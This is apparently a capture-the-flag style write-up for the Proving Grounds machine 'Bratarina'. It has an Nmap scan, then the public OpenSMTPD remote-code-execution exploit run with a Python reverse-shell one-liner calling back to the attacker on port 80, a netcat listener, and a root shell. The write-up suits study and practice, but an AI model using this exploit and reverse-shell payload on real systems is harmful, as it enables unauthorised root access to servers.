Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:dd:2c:ea:2f:85:c5:89:bc:fc:e9:a3:38:f0:d7:50 (RSA)
| 256 e3:b7:65:c2:a7:8e:45:29:bb:62:ec:30:1a:eb:ed:6d (ECDSA)
|_ 256 d5:5b:79:5b:ce:48:d8:57:46:db:59:4f:cd:45:5d:ef (ED25519)
25/tcp open smtp OpenSMTPD
| smtp-commands: bratarina Hello nmap.scanme.org [192.168.45.178], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact bugs@openbsd.org 2.0.0 with full details 2.0.0 End of HELP info
53/tcp closed domain
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Page not found - FlaskBB
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.14 - 6.8 (93%), OpenWrt 22.03 (Linux 5.10) (93%), Linux 5.0 (92%), Linux 3.10 - 4.11 (91%), Linux 6.18 (91%), Linux 3.2 - 4.14 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: bratarina; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We look for and find a RCE exploit for OpenSMTPD which lets us execute arbitrary commands.
Exploitation
Had to try many different payloads before getting a shell, and needed to use port 80 because of firewall restrictions.
Also needed to escape the quotes in the one-liner with single slashes.
┌──(kali㉿kali)-[~/ProvingGrounds/Bratarina]
└─$ python3 47984.py 192.168.118.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.178\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done
┌──(kali㉿kali)-[~/ProvingGrounds/Bratarina]
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.178] from (UNKNOWN) [192.168.118.71] 32856
root@bratarina:~#
Done!